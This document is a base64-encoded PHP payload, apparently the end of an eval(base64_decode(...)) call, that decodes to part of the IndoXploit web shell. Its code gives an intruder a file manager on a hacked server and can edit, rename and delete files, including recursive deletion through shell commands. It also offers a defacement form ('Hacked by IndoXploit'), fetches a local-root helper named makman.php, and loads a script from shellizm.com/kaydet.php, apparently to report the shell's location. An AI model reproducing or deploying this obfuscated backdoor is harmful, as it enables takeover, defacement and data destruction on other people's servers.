Zm9ybSBtZXRob2Q9J3Bvc3QnPg0KCQkJCUZpbGVuYW1lOiA8YnI+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2ZpbGUnIHZhbHVlPSdkZWZhY2UuaHRtbCcgc2l6ZT0nNTAnIGhlaWdodD0nMTAnPjxicj4NCgkJCQlVc2VyOiA8YnI+PGlucHV0IHR5cGU9J3RleHQnIHZhbHVlPSckdXNlcicgc2l6ZT0nNTAnIGhlaWdodD0nMTAnIHJlYWRvbmx5Pjxicj4NCgkJCQlEb21haW46IDxicj4NCgkJCQk8dGV4dGFyZWEgc3R5bGU9J3dpZHRoOiA0NTBweDsgaGVpZ2h0OiAyNTBweDsnIG5hbWU9J3VybCc+IjsNCgkJCQlwcmludCBpbXBsb2RlKCJcbiIsIHJldmVyc2UoKSk7DQoJCQkJcHJpbnQgIjwvdGV4dGFyZWE+PGJyPg0KCQkJCTxmb250IHN0eWxlPSd0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsnPkluZGV4IEZpbGU6PC9mb250Pjxicj4NCgkJCQk8dGV4dGFyZWEgbmFtZT0nc2NyaXB0JyBzdHlsZT0nd2lkdGg6IDQ1MHB4OyBoZWlnaHQ6IDIwMHB4Oyc+SGFja2VkIGJ5IEluZG9YcGxvaXQ8L3RleHRhcmVhPjxicj4NCgkJCQk8aW5wdXQgc3R5bGU9J2JhY2tncm91bmQ6IHRyYW5zcGFyZW50OyBjb2xvcjogI2ZmZmZmZjsgYm9yZGVyOiAxcHggc29saWQgI2ZmZmZmZjsgd2lkdGg6IDQ2MHB4OyBtYXJnaW46IDVweCBhdXRvOycgdHlwZT0nc3VibWl0JyBuYW1lPSdyZXZlcnNlJyB2YWx1ZT0nU2NhbiBGYWtlIFJvb3QhJz4NCgkJCQk8L2Zvcm0+PGJyPg0KCQkJCU5COiBTZWJlbHVtIGd1bmFpbiBUb29scyBpbmkgLCB1cGxvYWQgZHVsdSBmaWxlIGRlZmFjZSBrYWxpYW4gZGkgZGlyIC9ob21lL3VzZXIvIGRhbiAvaG9tZS91c2VyL3B1YmxpY19odG1sLjwvY2VudGVyPiI7DQoJCQl9DQoJCX0NCgkJZWxzZWlmKCRfR0VUWydkbyddID09PSAnbHJlJykgew0KCQkJaWYoZmlsZV9leGlzdHMoIm1ha21hbi5waHAiKSkgew0KCQkJCXByaW50ICI8aWZyYW1lIHNyYz0naHR0cDovLyIuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiIvIi4kR0xPQkFMU1snRklMRVBBVEgnXS4iL21ha21hbi5waHAnIGZyYW1lYm9yZGVyPScwJyBzY3JvbGxpbmc9J3llcyc+PC9pZnJhbWU+IjsNCgkJCX0NCgkJCWVsc2Ugew0KCQkJCWlmKCFpc193cml0YWJsZShwYXRoKCkpKSBkaWUoY29sb3IoMSwgMSwgIkRpcmVjdG9yeSAnIi5wYXRoKCkuIicgaXMgbm90IHdyaXRlYWJsZS4gQ2FuJ3QgY3JlYXRlIGZpbGUgJ01ha21hbicuIikpOw0KCQkJCWlmKGdldGZpbGUoIkxSRSIpKSB7DQoJCQkJCXByaW50ICI8aWZyYW1lIHNyYz0naHR0cDovLyIuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiIvIi4kR0xPQkFMU1snRklMRVBBVEgnXS4iL21ha21hbi5waHAnIGZyYW1lYm9yZGVyPScwJyBzY3JvbGxpbmc9J3llcyc+PC9pZnJhbWU+IjsNCgkJCQl9DQoJCQkJZWxzZSB7DQoJCQkJCXByaW50IGNvbG9yKDEsIDEsICJFcnJvciB3aGlsZSBkb3dubG9hZGluZyBmaWxlIG1ha21hbi4iKTsNCgkJCQkJQHVubGluaygibWFrbWFuLnBocCIpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCX0NCgllbHNlaWYoaXNzZXQoJF9HRVRbJ2FjdCddKSkgew0KCQlpZigkX0dFVFsnYWN0J10gPT09ICduZXdmaWxlJykgew0KCQkJaWYoJF9QT1NUWydzYXZlJ10pIHsNCgkJCQkkZmlsZW5hbWUgPSBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnZmlsZW5hbWUnXSk7DQoJCQkJJGZvcGVuICAgID0gZm9wZW4oJGZpbGVuYW1lLCAiYSsiKTsNCgkJCQlpZigkZm9wZW4pIHsNCgkJCQkJJGFjdCA9ICI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0nP2FjdD1lZGl0JmRpcj0iLnBhdGgoKS4iJmZpbGU9Ii4kX1BPU1RbJ2ZpbGVuYW1lJ10uIic7PC9zY3JpcHQ+IjsNCgkJCQl9IA0KCQkJCWVsc2Ugew0KCQkJCQkkYWN0ID0gY29sb3IoMSwgMSwgIlBlcm1pc3Npb24gRGVuaWVkISIpOw0KCQkJCX0NCgkJCX0NCgkJCXByaW50ICRhY3Q7DQoJCQlwcmludCAiPGZvcm0gbWV0aG9kPSdwb3N0Jz4NCgkJCUZpbGVuYW1lOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZmlsZW5hbWUnIHZhbHVlPSciLnBhdGgoKS4iL25ld2ZpbGUucGhwJyBzdHlsZT0nd2lkdGg6IDQ1MHB4OycgaGVpZ2h0PScxMCc+DQoJCQk8aW5wdXQgdHlwZT0nc3VibWl0JyBjbGFzcz0naW5wdXQnIG5hbWU9J3NhdmUnIHZhbHVlPSdTVUJNSVQnPg0KCQkJPC9mb3JtPiI7DQoJCX0gDQoJCWVsc2VpZigkX0dFVFsnYWN0J10gPT09ICduZXdmb2xkZXInKSB7DQoJCQlpZigkX1BPU1RbJ3NhdmUnXSkgew0KCQkJCSRmb2xkZXJuYW1lID0gcGF0aCgpLicvJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnZm9sZGVybmFtZSddKTsNCgkJCQlpZighQG1rZGlyKCRmb2xkZXJuYW1lKSkgew0KCQkJCQkkYWN0ID0gY29sb3IoMSwgMSwgIlBlcm1pc3Npb24gRGVuaWVkISIpOw0KCQkJCX0gDQoJCQkJZWxzZSB7DQoJCQkJCSRhY3QgPSAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9kaXI9Ii5wYXRoKCkuIic7PC9zY3JpcHQ+IjsNCgkJCQl9DQoJCQl9DQoJCQlwcmludCAkYWN0Ow0KCQkJcHJpbnQgIjxmb3JtIG1ldGhvZD0ncG9zdCc+DQoJCQlGb2xkZXIgTmFtZTogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2ZvbGRlcm5hbWUnIHN0eWxlPSd3aWR0aDogNDUwcHg7JyBoZWlnaHQ9JzEwJz4NCgkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIGNsYXNzPSdpbnB1dCcgbmFtZT0nc2F2ZScgdmFsdWU9J1NVQk1JVCc+DQoJCQk8L2Zvcm0+IjsNCgkJfSANCgkJZWxzZWlmKCRfR0VUWydhY3QnXSA9PT0gJ3JlbmFtZV9mb2xkZXInKSB7DQoJCQlpZigkX1BPU1RbJ3NhdmUnXSkgew0KCQkJCSRyZW5hbWVfZm9sZGVyID0gcmVuYW1lKHBhdGgoKSwgIiIuZGlybmFtZShwYXRoKCkpLkRJUkVDVE9SWV9TRVBBUkFUT1IuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2ZvbGRlcm5hbWUnXSkpOw0KCQkJCWlmKCRyZW5hbWVfZm9sZGVyKSB7DQoJCQkJCSRhY3QgPSAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9kaXI9Ii5kaXJuYW1lKHBhdGgoKSkuIic7PC9zY3JpcHQ+IjsNCgkJCQl9IA0KCQkJCWVsc2Ugew0KCQkJCQkkYWN0ID0gY29sb3IoMSwgMSwgIlBlcm1pc3Npb24gRGVuaWVkISIpOw0KCQkJCX0NCgkJCXByaW50ICIkYWN0PGJyPiI7DQoJCQl9DQoJCQlwcmludCAiPGZvcm0gbWV0aG9kPSdwb3N0Jz4NCgkJCTxpbnB1dCB0eXBlPSd0ZXh0JyB2YWx1ZT0nIi5iYXNlbmFtZShwYXRoKCkpLiInIG5hbWU9J2ZvbGRlcm5hbWUnIHN0eWxlPSd3aWR0aDogNDUwcHg7JyBoZWlnaHQ9JzEwJz4NCgkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIGNsYXNzPSdpbnB1dCcgbmFtZT0nc2F2ZScgdmFsdWU9J1JFTkFNRSc+DQoJCQk8L2Zvcm0+IjsNCgkJfSANCgkJZWxzZWlmKCRfR0VUWydhY3QnXSA9PT0gJ2RlbGV0ZV9mb2xkZXInKSB7DQoJCQlpZihpc19kaXIocGF0aCgpKSkgew0KCQkJCWlmKGlzX3dyaXRhYmxlKHBhdGgoKSkpIHsNCgkJCQkJQHJtZGlyKHBhdGgoKSk7DQoJCQkJCWlmKCFAcm1kaXIocGF0aCgpKSBBTkQgT1MoKSA9PT0gIkxpbnV4IikgQGV4ZSgicm0gLXJmICIucGF0aCgpKTsNCgkJCQkJaWYoIUBybWRpcihwYXRoKCkpIEFORCBPUygpID09PSAiV2luZG93cyIpIEBleGUoInJtZGlyIC9zIC9xICIucGF0aCgpKTsNCgkJCQkJJGFjdCA9ICI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0nP2Rpcj0iLmRpcm5hbWUocGF0aCgpKS4iJzs8L3NjcmlwdD4iOw0KCQkJCX0gDQoJCQkJZWxzZSB7DQoJCQkJCSRhY3QgPSBjb2xvcigxLCAxLCAiQ291bGQgbm90IHJlbW92ZSBkaXJlY3RvcnkgJyIuYmFzZW5hbWUocGF0aCgpKS4iJyIpOw0KCQkJCX0NCgkJCX0NCgkJCXByaW50ICRhY3Q7DQoJCX0gDQoJCWVsc2VpZigkX0dFVFsnYWN0J10gPT09ICd2aWV3Jykgew0KCQkJcHJpbnQgIkZpbGVuYW1lOiAiLmNvbG9yKDEsIDIsIGJhc2VuYW1lKCRfR0VUWydmaWxlJ10pKS4iIFsiLndyaXRlYWJsZSgkX0dFVFsnZmlsZSddLCBwZXJtcygkX0dFVFsnZmlsZSddKSkuIl08YnI+IjsNCgkJCXByaW50ICJbIDxhIGhyZWY9Jz9hY3Q9dmlldyZkaXI9Ii5wYXRoKCkuIiZmaWxlPSIuJF9HRVRbJ2ZpbGUnXS4iJz48Yj52aWV3PC9iPjwvYT4gXSBbIDxhIGhyZWY9Jz9hY3Q9ZWRpdCZkaXI9Ii5wYXRoKCkuIiZmaWxlPSIuJF9HRVRbJ2ZpbGUnXS4iJz5lZGl0PC9hPiBdIFsgPGEgaHJlZj0nP2FjdD1yZW5hbWUmZGlyPSIucGF0aCgpLiImZmlsZT0iLiRfR0VUWydmaWxlJ10uIic+cmVuYW1lPC9hPiBdIFsgPGEgaHJlZj0nP2FjdD1kb3dubG9hZCZkaXI9Ii5wYXRoKCkuIiZmaWxlPSIuJF9HRVRbJ2ZpbGUnXS4iJz5kb3dubG9hZDwvYT4gXSBbIDxhIGhyZWY9Jz9hY3Q9ZGVsZXRlJmRpcj0iLnBhdGgoKS4iJmZpbGU9Ii4kX0dFVFsnZmlsZSddLiInPmRlbGV0ZTwvYT4gXTxicj4iOw0KCQkJcHJpbnQgIjx0ZXh0YXJlYSByZWFkb25seT4iLmh0bWxzcGVjaWFsY2hhcnMoQGZpbGVfZ2V0X2NvbnRlbnRzKCRfR0VUWydmaWxlJ10pKS4iPC90ZXh0YXJlYT4iOw0KCQl9IA0KCQllbHNlaWYoJF9HRVRbJ2FjdCddID09PSAnZWRpdCcpIHsNCgkJCWlmKCRfUE9TVFsnc2F2ZSddKSB7DQoJCQkJJHNhdmUgPSBmaWxlX3B1dF9jb250ZW50cygkX0dFVFsnZmlsZSddLCAkX1BPU1RbJ3NyYyddKTsNCgkJCQlpZigkc2F2ZSkgew0KCQkJCQkkYWN0ID0gY29sb3IoMSwgMiwgIkZpbGUgU2F2ZWQhIik7DQoJCQkJfSANCgkJCQllbHNlIHsNCgkJCQkJJGFjdCA9IGNvbG9yKDEsIDEsICJQZXJtaXNzaW9uIERlbmllZCEiKTsNCgkJCQl9DQoJCQkJcHJpbnQgIiRhY3Q8YnI+IjsNCgkJCX0NCgkJCXByaW50ICJGaWxlbmFtZTogIi5jb2xvcigxLCAyLCBiYXNlbmFtZSgkX0dFVFsnZmlsZSddKSkuIiBbIi53cml0ZWFibGUoJF9HRVRbJ2ZpbGUnXSwgcGVybXMoJF9HRVRbJ2ZpbGUnXSkpLiJdPGJyPiI7DQoJCQlwcmludCAiWyA8YSBocmVmPSc/YWN0PXZpZXcmZGlyPSIucGF0aCgpLiImZmlsZT0iLiRfR0VUWydmaWxlJ10uIic+dmlldzwvYT4gXSBbIDxhIGhyZWY9Jz9hY3Q9ZWRpdCZkaXI9Ii5wYXRoKCkuIiZmaWxlPSIuJF9HRVRbJ2ZpbGUnXS4iJz48Yj5lZGl0PC9iPjwvYT4gXSBbIDxhIGhyZWY9Jz9hY3Q9cmVuYW1lJmRpcj0iLnBhdGgoKS4iJmZpbGU9Ii4kX0dFVFsnZmlsZSddLiInPnJlbmFtZTwvYT4gXSBbIDxhIGhyZWY9Jz9hY3Q9ZG93bmxvYWQmZGlyPSIucGF0aCgpLiImZmlsZT0iLiRfR0VUWydmaWxlJ10uIic+ZG93bmxvYWQ8L2E+IF0gWyA8YSBocmVmPSc/YWN0PWRlbGV0ZSZkaXI9Ii5wYXRoKCkuIiZmaWxlPSIuJF9HRVRbJ2ZpbGUnXS4iJz5kZWxldGU8L2E+IF08YnI+IjsNCgkJCXByaW50ICI8Zm9ybSBtZXRob2Q9J3Bvc3QnPg0KCQkJPHRleHRhcmVhIG5hbWU9J3NyYyc+Ii5odG1sc3BlY2lhbGNoYXJzKEBmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZSddKSkuIjwvdGV4dGFyZWE+PGJyPg0KCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgY2xhc3M9J2lucHV0JyB2YWx1ZT0nU0FWRScgbmFtZT0nc2F2ZScgc3R5bGU9J3dpZHRoOiA1MDBweDsnPg0KCQkJPC9mb3JtPiI7DQoJCX0gDQoJCWVsc2VpZigkX0dFVFsnYWN0J10gPT09ICdyZW5hbWUnKSB7DQoJCQlpZigkX1BPU1RbJ3NhdmUnXSkgew0KCQkJCSRyZW5hbWUgPSByZW5hbWUoJF9HRVRbJ2ZpbGUnXSwgcGF0aCgpLkRJUkVDVE9SWV9TRVBBUkFUT1IuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2ZpbGVuYW1lJ10pKTsNCgkJCQlpZigkcmVuYW1lKSB7DQoJCQkJCSRhY3QgPSAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9kaXI9Ii5wYXRoKCkuIic7PC9zY3JpcHQ+IjsNCgkJCQl9IA0KCQkJCWVsc2Ugew0KCQkJCQkkYWN0ID0gY29sb3IoMSwgMSwgIlBlcm1pc3Npb24gRGVuaWVkISIpOw0KCQkJCX0NCgkJCQlwcmludCAiJGFjdDxicj4iOw0KCQkJfQ0KCQkJcHJpbnQgIkZpbGVuYW1lOiAiLmNvbG9yKDEsIDIsIGJhc2VuYW1lKCRfR0VUWydmaWxlJ10pKS4iIFsiLndyaXRlYWJsZSgkX0dFVFsnZmlsZSddLCBwZXJtcygkX0dFVFsnZmlsZSddKSkuIl08YnI+IjsNCgkJCXByaW50ICJbIDxhIGhyZWY9Jz9hY3Q9dmlldyZkaXI9Ii5wYXRoKCkuIiZmaWxlPSIuJF9HRVRbJ2ZpbGUnXS4iJz52aWV3PC9hPiBdIFsgPGEgaHJlZj0nP2FjdD1lZGl0JmRpcj0iLnBhdGgoKS4iJmZpbGU9Ii4kX0dFVFsnZmlsZSddLiInPmVkaXQ8L2E+IF0gWyA8YSBocmVmPSc/YWN0PXJlbmFtZSZkaXI9Ii5wYXRoKCkuIiZmaWxlPSIuJF9HRVRbJ2ZpbGUnXS4iJz48Yj5yZW5hbWU8L2I+PC9hPiBdIFsgPGEgaHJlZj0nP2FjdD1kb3dubG9hZCZkaXI9Ii5wYXRoKCkuIiZmaWxlPSIuJF9HRVRbJ2ZpbGUnXS4iJz5kb3dubG9hZDwvYT4gXSBbIDxhIGhyZWY9Jz9hY3Q9ZGVsZXRlJmRpcj0iLnBhdGgoKS4iJmZpbGU9Ii4kX0dFVFsnZmlsZSddLiInPmRlbGV0ZTwvYT4gXTxicj4iOw0KCQkJcHJpbnQgIjxmb3JtIG1ldGhvZD0ncG9zdCc+DQoJCQk8aW5wdXQgdHlwZT0ndGV4dCcgdmFsdWU9JyIuYmFzZW5hbWUoJF9HRVRbJ2ZpbGUnXSkuIicgbmFtZT0nZmlsZW5hbWUnIHN0eWxlPSd3aWR0aDogNDUwcHg7JyBoZWlnaHQ9JzEwJz4NCgkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIGNsYXNzPSdpbnB1dCcgbmFtZT0nc2F2ZScgdmFsdWU9J1JFTkFNRSc+DQoJCQk8L2Zvcm0+IjsNCgkJfQ0KCQllbHNlaWYoJF9HRVRbJ2FjdCddID09PSAnZGVsZXRlJykgew0KCQkJJGRlbGV0ZSA9IHVubGluaygkX0dFVFsnZmlsZSddKTsNCgkJCWlmKCRkZWxldGUpIHsNCgkJCQkkYWN0ID0gIjxzY3JpcHQ+d2luZG93LmxvY2F0aW9uPSc/ZGlyPSIucGF0aCgpLiInOzwvc2NyaXB0PiI7DQoJCQl9IA0KCQkJZWxzZSB7DQoJCQkJJGFjdCA9IGNvbG9yKDEsIDEsICJQZXJtaXNzaW9uIERlbmllZCEiKTsNCgkJCX0NCgkJCXByaW50ICRhY3Q7DQoJCX0NCgl9DQoJZWxzZSB7DQoJCWZpbGVzX2FuZF9mb2xkZXIoKTsNCgl9DQp9DQpzZXJ2ZXJpbmZvKCk7DQphY3Rpb24oKTsNCj8+DQo8c2NyaXB0IHNyYz0iaHR0cDovL3NoZWxsaXptLmNvbS9rYXlkZXQucGhwIj48L3NjcmlwdD4NCjwvYm9keT4NCjwvaHRtbD4="));